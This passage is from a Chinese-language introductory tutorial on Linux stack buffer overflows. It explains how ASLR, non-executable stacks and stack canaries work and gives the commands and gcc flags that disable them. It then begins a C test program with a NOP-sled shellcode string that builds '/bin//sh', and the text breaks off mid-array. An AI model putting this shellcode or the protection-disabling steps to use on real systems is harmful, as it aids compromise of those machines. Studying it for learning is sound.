初识Linux栈溢出攻击
0x00 限定条件
1、关闭aslr(Address Space Layout Randomization)
开启aslr后,应用程序或动态链接库装载时,系统会随机设定其装载基址。这样就避免了攻击者事先预知特定函数的入口地址。ubuntu下的关闭命令为echo 0 >/proc/sys/kernel/randomize_va_space
,该命令需要事先通过su提升到root权限。
2、关闭堆栈段不可执行机制
如果堆栈段被标记为不可执行,那么覆盖程序栈的shellcode就无法执行。关闭堆栈段不可执行机制的gcc编译命令为-z execstack
。
3、关闭gs校验机制
gs校验机制的原理是,进入函数前向程序栈中压入一个随机数,函数返回后检查这个随机数,如果被改写了,就报段错误,结束程序。关闭gs校验机制的gcc编译命令为-fno-stack-protector
。
测试平台为Ubuntu 15.04 64位,测试代码如下
#include<stdio.h>
#include<string.h>
char s[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d